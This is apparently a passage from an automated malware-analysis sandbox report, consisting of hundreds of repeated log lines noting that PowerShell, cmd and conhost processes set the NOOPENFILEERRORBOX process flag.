Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
